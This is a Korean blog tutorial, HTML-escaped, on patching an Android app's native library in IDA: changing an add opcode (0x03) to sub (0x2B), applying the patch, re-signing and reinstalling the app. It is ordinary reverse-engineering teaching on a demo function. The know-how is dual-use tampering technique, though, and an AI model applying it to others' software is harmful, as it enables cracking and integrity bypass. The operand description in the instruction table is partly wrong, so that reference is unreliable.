&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvUmYj/btsKxWk28NQ/eKF0pOIcyYx8ou1YHBQW70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvUmYj/btsKxWk28NQ/eKF0pOIcyYx8ou1YHBQW70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvUmYj/btsKxWk28NQ/eKF0pOIcyYx8ou1YHBQW70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvUmYj%2FbtsKxWk28NQ%2FeKF0pOIcyYx8ou1YHBQW70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;769&quot; height=&quot;246&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;의사코드는 디컴파일한 코드를&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;IDA&lt;/span&gt;와 같은 도구가 사람이 읽기 쉬운 형태로 해석한 것이기 때문에 이 상태에서는 코드 변조를 할 수 없다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드 변조를 수행하기 위해서는 도구가 해석하기 전 단계인 어셈블리를 분석해야 한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;어셈블리 코드에서 수정할 부분을 찾고 코드 패치를 진행한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;어셈블리를 분석하기 위해서는 키보드의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;esc&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;키를 눌러 화면을 이동한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;다른 방법으로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수명을 검색하는 단계에서 원하는 함수명을 더블 클릭하여 어셈블리 코드로 직접 접근하는 방법도 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;842&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qma2O/btsKxvgY9xM/OQx7Tm1LlWbiQYXfkRPouK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qma2O/btsKxvgY9xM/OQx7Tm1LlWbiQYXfkRPouK/img.png&quot; data-alt=&quot;addNumbers() 함수의 어셈블리 코드 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qma2O/btsKxvgY9xM/OQx7Tm1LlWbiQYXfkRPouK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQma2O%2FbtsKxvgY9xM%2FOQx7Tm1LlWbiQYXfkRPouK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;588&quot; height=&quot;524&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;842&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;addNumbers() 함수의 어셈블리 코드 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;어셈블리 코드의 분석을 위해 실행에 불필요한 부분은 제외하고 코드에 주석을 추가하였다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731834911608&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;; __unwind {
push    ebp 
mov     ebp, esp ; 함수 프롤로그
mov     eax, [ebp+arg_8]
add     eax, [ebp+arg_C] ; Add
pop     ebp
retn                    ; 직전 함수 호출로 복귀
; }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;어셈블리를 분석하기 전 필요한 명령어와 설명에 대해 간략하게 정리하면 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;123&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;명령어&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(operand)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;113&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;바이트 코드&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(hex)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;365&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;설명&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;123&quot;&gt;&lt;span&gt;&lt;span&gt;mov a, b&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;113&quot;&gt;&lt;span&gt;&lt;span&gt;8B /r(&lt;/span&gt;레지스터&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;365&quot;&gt;&lt;span&gt;&lt;span&gt;b(source operand)&lt;/span&gt;의 값을&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;a(destination operand)&lt;/span&gt;로 복사&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;123&quot;&gt;&lt;span&gt;&lt;span&gt;add r16, r/m16&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;113&quot;&gt;&lt;span&gt;&lt;span&gt;03 /r(&lt;/span&gt;레지스터&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;365&quot;&gt;&lt;span&gt;두 인자의 합을 첫 번째 피연산자에 저장&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;123&quot;&gt;&lt;span&gt;&lt;span&gt;sub r16, r/m16&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;113&quot;&gt;&lt;span&gt;&lt;span&gt;2B /r(&lt;/span&gt;레지스터&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;365&quot;&gt;&lt;span&gt;두 번째 인자에서 첫 번째 인자를 뺀 값을 첫 번째 피연산자에 저장&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;123&quot;&gt;&lt;span&gt;&lt;span&gt;retn&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;113&quot;&gt;&lt;span&gt;&lt;span&gt;C3&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;365&quot;&gt;&lt;span&gt;직전 함수 호출로 복귀&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;함수의 프롤로그 과정 이후&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;mov&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;명령을 통해 두 번째 인자의 값을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;eax&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;레지스터에 저장한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;그 다음&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;add&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;명령을 통해 두 번째 인자와 이전 과정에서 저장해둔&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;eax&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;레지스터&lt;span&gt;(&lt;/span&gt;첫 번째 인자의 값&lt;span&gt;)&lt;/span&gt;를 합의 결과를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;eax&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;레지스터에 저장한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이후&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;retn&lt;/span&gt;을 통해 결과를 반환한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;여기서 덧셈을 의미하는 바이트 코드인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;0x03&lt;/span&gt;을 뺄셈의 바이트 코드인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;0x2B&lt;/span&gt;로 변조하면 함수의 실행 결과로 덧셈이 아닌 두 인자의 뺄셈 결과가 반환될 것이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드를 수정하기 위해 다시&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;IDA&lt;/span&gt;로 돌아가서 코드 영역에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;add&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;명령어에서 우클릭&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;rarr;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;동기화 대상&lt;span&gt;(synchronized with)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;rarr;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;hex view&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;를 선택한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/co95K3/btsKxUALeOa/lTikiGGJKKbij75E6iHk30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/co95K3/btsKxUALeOa/lTikiGGJKKbij75E6iHk30/img.png&quot; data-alt=&quot;헥스 뷰에서 바이트 코드 위치 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/co95K3/btsKxUALeOa/lTikiGGJKKbij75E6iHk30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fco95K3%2FbtsKxUALeOa%2FlTikiGGJKKbij75E6iHk30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;344&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;헥스 뷰에서 바이트 코드 위치 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;동기화를 선택하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;IDA&lt;/span&gt;의 헥스 뷰&lt;span&gt;(hex view)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;탭과 어셈블리 코드의 영역이 파일의 바이트 코드 오프셋과 일치하게 되며 위치를 쉽게 확인할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;덧셈 명령어&lt;span&gt;(add)&lt;/span&gt;를 뺄셈 명령어&lt;span&gt;(sub)&lt;/span&gt;로 변경하기 위해서 바이트 코드를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;0x03&lt;/span&gt;에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;0x2B&lt;/span&gt;로 수정한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;바이트 코드를 수정하기 위해&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;IDA&lt;/span&gt;에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;03&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앞에서 마우스를 클릭하고&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;키보드의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;F2&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;키를 눌러 수정 모드로 변경한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;커서의 모양이 바뀌고 키보드에 입력하는 바이트 코드가 즉시 입력된다&lt;span&gt;. 2B&lt;/span&gt;를 입력한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;수정이 완료된 후에는 다시&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;F2&amp;rsquo;&lt;/span&gt;를 눌러 바이트 코드 수정을 종료한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;수정 후의 헥스 뷰와 어셈블리 코드 영역에서 확인한 결과는 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;283&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPULkg/btsKyWkiMI8/5xShqOdV0hWzRB8seDv94K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPULkg/btsKyWkiMI8/5xShqOdV0hWzRB8seDv94K/img.png&quot; data-alt=&quot;바이트 코드 수정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPULkg/btsKyWkiMI8/5xShqOdV0hWzRB8seDv94K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPULkg%2FbtsKyWkiMI8%2F5xShqOdV0hWzRB8seDv94K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;283&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;283&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;바이트 코드 수정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;747&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p73Bf/btsKxhXvHNh/c3JD1HCH4k7I7Mx3kNkVl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p73Bf/btsKxhXvHNh/c3JD1HCH4k7I7Mx3kNkVl0/img.png&quot; data-alt=&quot;바이트 코드 수정 후 어셈블리 명령어 주석 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p73Bf/btsKxhXvHNh/c3JD1HCH4k7I7Mx3kNkVl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp73Bf%2FbtsKxhXvHNh%2Fc3JD1HCH4k7I7Mx3kNkVl0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;590&quot; height=&quot;467&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;747&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;바이트 코드 수정 후 어셈블리 명령어 주석 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;올바르게 코드 수정이 되었음을 확인한 후에는 변경된 코드를 바이너리에 반영해야 한다&lt;span&gt;. IDA&lt;/span&gt;에서는 수정&lt;span&gt;(edit)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;rarr;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;프로그램 수정&lt;span&gt;(patch program)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;원본 파일에 패치내용 적용&lt;span&gt;(apply patches to input file)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;순서로 접근하여 대화상자를 연 후에 기본설정으로 된 주소 영역&lt;span&gt;(&lt;/span&gt;프로그램 주소 처음부터 끝&lt;span&gt;)&lt;/span&gt;에 대해 수정한 내용을 적용한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;1002&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHOgpu/btsKxUgtxv2/7fQCe7bwPyPyPvKXMfo6Bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHOgpu/btsKxUgtxv2/7fQCe7bwPyPyPvKXMfo6Bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHOgpu/btsKxUgtxv2/7fQCe7bwPyPyPvKXMfo6Bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHOgpu%2FbtsKxUgtxv2%2F7fQCe7bwPyPyPvKXMfo6Bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;430&quot; height=&quot;456&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;1002&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;488&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dUTEl7/btsKyUz0wX3/bhRQFUoDxEmZv0dA7tXKiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dUTEl7/btsKyUz0wX3/bhRQFUoDxEmZv0dA7tXKiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dUTEl7/btsKyUz0wX3/bhRQFUoDxEmZv0dA7tXKiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdUTEl7%2FbtsKyUz0wX3%2FbhRQFUoDxEmZv0dA7tXKiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;582&quot; height=&quot;301&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;488&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;네이티브로 컴파일 된 코드를 디컴파일하여 코드의 동작 구조를 파악하고 바이트 코드를 직접 수정하는 방법으로 코드를 변경하였다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;변경된 라이브러리 파일은 앱의 디컴파일 경로에 위치하며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;기존의 파일을 덮어쓰기 한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이후에 자바 컴파일을 거쳐 서명을 한 후에 단말에 설치하여 앱의 동작이 변경된 동작을 확인한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;실행 결과로 덧셈 연산의 결과인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;가 아닌 두 인자의 뺄셈의 결과인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;가 출력되는 것을 확인할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이 과정은 앱의 기능을 변경하거나 새로운 기능을 추가하기 위해 사용할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;367&quot; data-origin-height=&quot;747&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P0ief/btsKxO8jztP/KkH2AA8GhImpqZhGu3QXK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P0ief/btsKxO8jztP/KkH2AA8GhImpqZhGu3QXK1/img.png&quot; data-alt=&quot;코드 수정 후 앱 실행 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P0ief/btsKxO8jztP/KkH2AA8GhImpqZhGu3QXK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP0ief%2FbtsKxO8jztP%2FKkH2AA8GhImpqZhGu3QXK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;367&quot; height=&quot;747&quot; data-origin-width=&quot;367&quot; data-origin-height=&quot;747&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;코드 수정 후 앱 실행 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;추가 명령어에 대한 설명을 찾아야 한다면 인텔 공식 홈페이지와 소개하는 홈페이지&lt;span&gt;(&lt;a href=&quot;https://faydoc.tripod.com/cpu/index.htm)&quot;&gt;https://faydoc.tripod.com/cpu/index.htm)&lt;/a&gt;&lt;/span&gt;에서 확인할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;아키텍처별로 명령어와 해석하는 방법이 다르기 때문에 분석을 목적으로 하는 아키텍처별로 명령어 해석 레퍼런스 문서를 참고하여 분석에 활용한다&lt;span&gt;. &amp;lsquo;arm&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;아키텍처의 경우&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;a href=&quot;https://armv8-ref.codingbelief.com/&quot;&gt;https://armv8-ref.codingbelief.com/&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;페이지를 참고할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
